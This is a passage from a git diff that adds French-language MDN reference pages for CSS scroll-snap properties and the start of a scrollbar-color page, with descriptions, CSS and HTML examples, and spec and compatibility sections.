+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-destination", "scroll-snap-destination")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-destination")}}</p>
diff --git a/files/fr/web/css/scroll-snap-points-x/index.html b/files/fr/web/css/scroll-snap-points-x/index.html
new file mode 100644
index 0000000000..b7f1acea8b
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-points-x/index.html
@@ -0,0 +1,94 @@
+---
+title: scroll-snap-points-x
+slug: Web/CSS/scroll-snap-points-x
+tags:
+  - CSS
+  - Déprécié
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-points-x
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>scroll-snap-points-x</code></strong> définit le positionnement horizontal des points d'accroche dans le conteneur de défilement auquel ils s'appliquent.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+scroll-snap-points-x: none;
+
+/* Répétition des points d'accroche */
+scroll-snap-points-x: repeat(400px);
+
+/* Valeurs globales */
+scroll-snap-points-x: inherit;
+scroll-snap-points-x: initial;
+scroll-snap-points-x: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le conteneur ne possède pas de points d'accroche. Les éléments contenus à l'intérieur peuvent définir leurs propres points d'accroche.</dd>
+ <dt><code>repeat(&lt;length-percentage&gt;)</code></dt>
+ <dd>Cette valeur permet de définir un intervalle de répétition pour les points d'accroche, en commençant par le bord (pertinent) du conteneur. Seules les longueurs positives sont autorisées. Les pourcentages sont relatifs à la largeur du conteneur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;1&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#container {
+  width: 200px;
+  overflow: auto;
+  white-space: nowrap;
+  scroll-snap-points-x: repeat(100%);
+  scroll-snap-type: mandatory;
+  font-size: 0;
+}
+
+#container &gt; div {
+  width: 200px;
+  height: 200px;
+  display: inline-block;
+  line-height: 200px;
+  text-align: center;
+  font-size: 100px;
+}
+
+#container &gt; div:nth-child(even) {
+  background-color: #87ea87;
+}
+
+#container &gt; div:nth-child(odd) {
+  background-color: #87ccea;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 220, 220)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété avait été définie dans <a href="http://www.w3.org/TR/2015/WD-css-snappoints-1-20150326/#scroll-snap-points">un brouillon de spécification pour le module CSS sur les points d'accroche</a> mais <a href="https://github.com/w3c/csswg-drafts/commit/922af86be789222b8490c92038d1a5142e1c1198">a ensuite été retirée</a> de la spécification pour être remplacée par <a href="https://lists.w3.org/Archives/Public/www-style/2015Nov/0266.html">l'accroche basée sur les éléments</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-points-x")}}</p>
diff --git a/files/fr/web/css/scroll-snap-points-y/index.html b/files/fr/web/css/scroll-snap-points-y/index.html
new file mode 100644
index 0000000000..a7570fcd75
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-points-y/index.html
@@ -0,0 +1,96 @@
+---
+title: scroll-snap-points-y
+slug: Web/CSS/scroll-snap-points-y
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-points-y
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>scroll-snap-points-y</code></strong> définit le positionnement vertical des points d'accroche dans le conteneur de défilement auquel ils s'appliquent.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+scroll-snap-points-y: none;
+
+/* Répétition des points d'accroche */
+scroll-snap-points-y: repeat(400px);
+
+/* Valeurs globales */
+scroll-snap-points-y: inherit;
+scroll-snap-points-y: initial;
+scroll-snap-points-y: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le conteneur ne possède pas de points d'accroche. Les éléments contenus à l'intérieur peuvent définir leurs propres points d'accroche.</dd>
+ <dt><code>repeat(&lt;length-percentage&gt;)</code></dt>
+ <dd>Cette valeur permet de définir un intervalle de répétition pour les points d'accroche, en commençant par le bord (pertinent) du conteneur. Seules les longueurs positives sont autorisées. Les pourcentages sont relatifs à la largeur du conteneur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;1&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#container {
+  height: 200px;
+  width: 220px;
+  overflow-x: hidden;
+  overflow-y: auto;
+  scroll-snap-points-y: repeat(200px);
+  scroll-snap-type: mandatory;
+  font-size: 0;
+}
+
+#container &gt; div {
+  width: 200px;
+  height: 200px;
+  display: inline-block;
+  line-height: 200px;
+  text-align: center;
+  font-size: 100px;
+}
+
+#container &gt; div:nth-child(even) {
+  background-color: #87EA87;
+}
+
+#container &gt; div:nth-child(odd) {
+  background-color: #87CCEA;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 220, 220)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété avait été définie dans <a href="http://www.w3.org/TR/2015/WD-css-snappoints-1-20150326/#scroll-snap-points">un brouillon de spécification pour le module CSS sur les points d'accroche</a> mais <a href="https://github.com/w3c/csswg-drafts/commit/922af86be789222b8490c92038d1a5142e1c1198">a ensuite été retirée</a> de la spécification pour être remplacée par <a href="https://lists.w3.org/Archives/Public/www-style/2015Nov/0266.html">l'accroche basée sur les éléments</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-points-y")}}</p>
diff --git a/files/fr/web/css/scroll-snap-stop/index.html b/files/fr/web/css/scroll-snap-stop/index.html
new file mode 100644
index 0000000000..9d08d3a4d0
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-stop/index.html
@@ -0,0 +1,224 @@
+---
+title: scroll-snap-stop
+slug: Web/CSS/scroll-snap-stop
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-stop
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>scroll-snap-stop</code></strong> définit la façon dont un conteneur de défilement peut « passer outre » certaines positions d'accroche.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+scroll-snap-stop: normal;
+scroll-snap-stop: always;
+
+/* Valeurs globales */
+scroll-snap-type: inherit;
+scroll-snap-type: initial;
+scroll-snap-type: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Lorsque la zone d'affichage ({{Glossary("viewport")}}) du conteneur défile, elle peut passer sur certaines positions d'accroche.</dd>
+ <dt><code>always</code></dt>
+ <dd>Le conteneur de défilement ne peut pas passer sur une position d'accroche. Le conteneur doit « s'accrocher » dès la première position d'accroche de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* setup */
+:root, body {
+  height: 100%;
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  flex-flow: column nowrap;
+  font-family: monospace;
+}
+.container {
+  display: flex;
+  overflow: auto;
+  outline: 1px dashed lightgray;
+  flex: none;
+}
+
+.container.x {
+  width: 100%;
+  height: 128px;
+  flex-flow: row nowrap;
+}
+
+.container.y {
+  width: 256px;
+  height: 256px;
+  flex-flow: column nowrap;
+}
+/* definite scroll snap */
+.mandatory-scroll-snapping &gt; div {
+  scroll-snap-stop: always;
+}
+.proximity-scroll-snapping &gt; div {
+  scroll-snap-stop: normal;
+}
+/* scroll-snap */
+.x.mandatory-scroll-snapping {
+  scroll-snap-type: x mandatory;
+}
+
+.y.mandatory-scroll-snapping {
+  scroll-snap-type: y mandatory;
+}
+
+.x.proximity-scroll-snapping {
+  scroll-snap-type: x proximity;
+}
+
+.y.proximity-scroll-snapping {
+  scroll-snap-type: y proximity;
+}
+
+.container &gt; div {
+  text-align: center;
+  scroll-snap-align: center;
+  flex: none;
+}
+
+.x.container &gt; div {
+  line-height: 128px;
+  font-size: 64px;
+  width: 100%;
+  height: 128px;
+}
+
+.y.container &gt; div {
+  line-height: 256px;
+  font-size: 128px;
+  width: 256px;
+  height: 256px;
+}
+/* appearance fixes */
+.y.container &gt; div:first-child {
+  line-height: 1.3;
+  font-size: 64px;
+}
+/* coloration */
+.container &gt; div:nth-child(even) {
+  background-color: #87EA87;
+}
+
+.container &gt; div:nth-child(odd) {
+  background-color: #87CCEA;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="container x mandatory-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;X Mand. LTR &lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x proximity-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;X Proximity LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y mandatory-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;Y Mand. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y proximity-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;Y Prox. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x mandatory-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;X Mandatory RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x proximity-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;X Proximity RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y mandatory-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;Y Mand. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y proximity-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;Y Prox. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "1630")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-stop", "scroll-snap-stop")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-stop")}}</p>
diff --git a/files/fr/web/css/scroll-snap-type-x/index.html b/files/fr/web/css/scroll-snap-type-x/index.html
new file mode 100644
index 0000000000..f6d179979e
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-type-x/index.html
@@ -0,0 +1,55 @@
+---
+title: scroll-snap-type-x
+slug: Web/CSS/scroll-snap-type-x
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-type-x
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>scroll-snap-type-x</code></strong> définit la « force » avec laquelle les points d'accroche sont respectés lors d'un défilement horizontal.</p>
+
+<p>La gestion précise des animations et de la physique pour respecter ces points d'accroche n'est pas décrite par cette propriété et est laissée à la discrétion de l'agent utilisateur.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+scroll-snap-type-x: none;
+scroll-snap-type-x: mandatory;
+scroll-snap-type-x: proximity;
+
+/* Valeurs globales */
+scroll-snap-type-x: inherit;
+scroll-snap-type-x: initial;
+scroll-snap-type-x: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Lorsque le {{Glossary("viewport")}} du conteneur défile horizontalement, on ignore les points d'accroche.</dd>
+ <dt><code>mandatory</code></dt>
+ <dd>Le <em>viewport</em> visuel du conteneur doit s'arrêter sur les points d'accroche s'il n'est pas en cours de défilement. Cela signifie qu'il accroche sur ce point quand le défilement s'arrête. Si du contenu est ajouté, déplacé, supprimé ou redimensionné, le décalage induit doit être ajusté pour rester sur ce point d'accroche.</dd>
+ <dt><code>proximity</code></dt>
+ <dd>Le <em>viewport</em> visuel du conteneur peut s'accrocher à un point d'accroche si aucun défilement n'est en cours, selon les paramètres de défilement de l'agent utilisateur. Si du contenu est ajouté, déplacé, supprimé ou redimensionne, le décalage induit peut être ajuster pour rester sur ce point d'accroche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">none | mandatory | proximity</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-type-x")}}</p>
diff --git a/files/fr/web/css/scroll-snap-type-y/index.html b/files/fr/web/css/scroll-snap-type-y/index.html
new file mode 100644
index 0000000000..c608ee46ca
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-type-y/index.html
@@ -0,0 +1,55 @@
+---
+title: scroll-snap-type-y
+slug: Web/CSS/scroll-snap-type-y
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-type-y
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>scroll-snap-type-y</code></strong> définit la « force » avec laquelle les points d'accroche sont respectés lors d'un déroulement vertical.</p>
+
+<p>La gestion précise des animations et de la physique pour respecter ces points d'accroche n'est pas décrite par cette propriété et est laissée à la discrétion de l'agent utilisateur.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+scroll-snap-type-y: none;
+scroll-snap-type-y: mandatory;
+scroll-snap-type-y: proximity;
+
+/* Valeurs globales */
+scroll-snap-type-y: inherit;
+scroll-snap-type-y: initial;
+scroll-snap-type-y: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Lorsque le {{Glossary("viewport")}} du conteneur défile verticalement, on ignore les points d'accroche.</dd>
+ <dt><code>mandatory</code></dt>
+ <dd>Le <em>viewport</em> visuel du conteneur doit s'arrêter sur les points d'accroche s'il n'est pas en cours de défilement. Cela signifie qu'il accroche sur ce point quand le défilement s'arrête. Si du contenu est ajouté, déplacé, supprimé ou redimensionné, le décalage induit doit être ajusté pour rester sur ce point d'accroche.</dd>
+ <dt><code>proximity</code></dt>
+ <dd>Le <em>viewport</em> visuel du conteneur peut s'accrocher à un point d'accroche si aucun défilement n'est en cours, selon les paramètres de défilement de l'agent utilisateur. Si du contenu est ajouté, déplacé, supprimé ou redimensionne, le décalage induit peut être ajuster pour rester sur ce point d'accroche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">none | mandatory | proximity</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-type-y")}}</p>
diff --git a/files/fr/web/css/scroll-snap-type/index.html b/files/fr/web/css/scroll-snap-type/index.html
new file mode 100644
index 0000000000..d8a49404a1
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-type/index.html
@@ -0,0 +1,252 @@
+---
+title: scroll-snap-type
+slug: Web/CSS/scroll-snap-type
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-type
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-snap-type</code></strong> définit la force d'adhérence aux points d'accroche en cas de défilement d'un conteneur.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-snap-type.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<p>La gestion précise des animations et de la physique pour respecter ces points d'accroche n'est pas décrite par cette propriété et est laissée à la discrétion de l'agent utilisateur.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+scroll-snap-type: none;
+scroll-snap-type: x;
+scroll-snap-type: y;
+scroll-snap-type: block;
+scroll-snap-type: inline;
+scroll-snap-type: both;
+
+/* Ajout du mot-clé optionnel mandatory ou proximity*/
+scroll-snap-type: x mandatory;
+scroll-snap-type: y proximity;
+scroll-snap-type: both mandatory;
+/* etc. */
+
+/* Valeurs globales */
+scroll-snap-type: inherit;
+scroll-snap-type: initial;
+scroll-snap-type: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Lorsque le {{Glossary("viewport")}} du conteneur défile, on ignore les points d'accroche.</dd>
+ <dt><code>x</code></dt>
+ <dd>Le conteneur qui défile s'accroche aux positions sur l'axe horizontal uniquement.</dd>
+ <dt><code>y</code></dt>
+ <dd>Le conteneur qui défile s'accroche aux positions sur l'axe vertical uniquement.</dd>
+ <dt><code>block</code></dt>
+ <dd>Le conteneur qui défile s'accroche aux positions sur l'axe de bloc (celui orthogonal à l'axe de lecture) uniquement.</dd>
+ <dt><code>inline</code></dt>
+ <dd>Le conteneur qui défile s'accroche aux positions sur l'axe en ligne (correspondant à au sens de lecteure) uniquement.</dd>
+ <dt><code>both</code></dt>
+ <dd>Le conteneur qui défile s'accroche aux positions sur les deux axes de façon indépendante.</dd>
+ <dt><code>mandatory</code></dt>
+ <dd>Le <em>viewport</em> visuel du conteneur doit s'arrêter sur les points d'accroche s'il n'est pas en cours de défilement. Cela signifie qu'il accroche sur ce point quand le défilement s'arrête. Si du contenu est ajouté, déplacé, supprimé ou redimensionné, le décalage induit doit être ajusté pour rester sur ce point d'accroche.</dd>
+ <dt><code>proximity</code></dt>
+ <dd>Le <em>viewport</em> visuel du conteneur peut s'accrocher à un point d'accroche si aucun défilement n'est en cours, selon les paramètres de défilement de l'agent utilisateur. Si du contenu est ajouté, déplacé, supprimé ou redimensionne, le décalage induit peut être ajusté pour rester sur ce point d'accroche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* setup */
+html, body, .holster {
+  height: 100%;
+}
+.holster {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  flex-flow: column nowrap;
+  font-family: monospace;
+}
+
+.container {
+  display: flex;
+  overflow: auto;
+  outline: 1px dashed lightgray;
+  flex: none;
+}
+
+.container.x {
+  width: 100%;
+  height: 128px;
+  flex-flow: row nowrap;
+}
+
+.container.y {
+  width: 256px;
+  height: 256px;
+  flex-flow: column nowrap;
+}
+/* scroll-snap */
+.x.mandatory-scroll-snapping {
+  scroll-snap-type: x mandatory;
+}
+
+.y.mandatory-scroll-snapping {
+  scroll-snap-type: y mandatory;
+}
+
+.x.proximity-scroll-snapping {
+  scroll-snap-type: x proximity;
+}
+
+.y.proximity-scroll-snapping {
+  scroll-snap-type: y proximity;
+}
+
+.container &gt; div {
+  text-align: center;
+  scroll-snap-align: center;
+  flex: none;
+}
+
+.x.container &gt; div {
+  line-height: 128px;
+  font-size: 64px;
+  width: 100%;
+  height: 128px;
+}
+
+.y.container &gt; div {
+  line-height: 256px;
+  font-size: 128px;
+  width: 256px;
+  height: 100%;
+}
+/* appearance fixes */
+.y.container &gt; div:first-child {
+  line-height: 1.3;
+  font-size: 64px;
+}
+/* coloration */
+.container &gt; div:nth-child(even) {
+  background-color: #87EA87;
+}
+
+.container &gt; div:nth-child(odd) {
+  background-color: #87CCEA;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="holster"&gt;
+&lt;div class="container x mandatory-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;X Mand. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x proximity-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;X Prox. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y mandatory-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;Y Mand. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y proximity-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;Y Prox. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x mandatory-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;X Mand. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x proximity-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;X Prox. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y mandatory-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;Y Mand. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y proximity-scroll-snapping" dir="rtl"&gt;
+  &lt;div&gt;Y Prox. RTL&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "1630")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-type", "scroll-snap-type")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-type")}}</p>
diff --git a/files/fr/web/css/scrollbar-color/index.html b/files/fr/web/css/scrollbar-color/index.html
new file mode 100644
index 0000000000..211f21b634
--- /dev/null
+++ b/files/fr/web/css/scrollbar-color/index.html
@@ -0,0 +1,126 @@
+---
+title: scrollbar-color
+slug: Web/CSS/scrollbar-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scrollbar-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>scrollbar-color</code></strong> permet à un auteur de définir la couleur utilisée pour le curseur et la piste (la ligne sur laquelle se déplace le curseur) de la barre de défilement.</p>
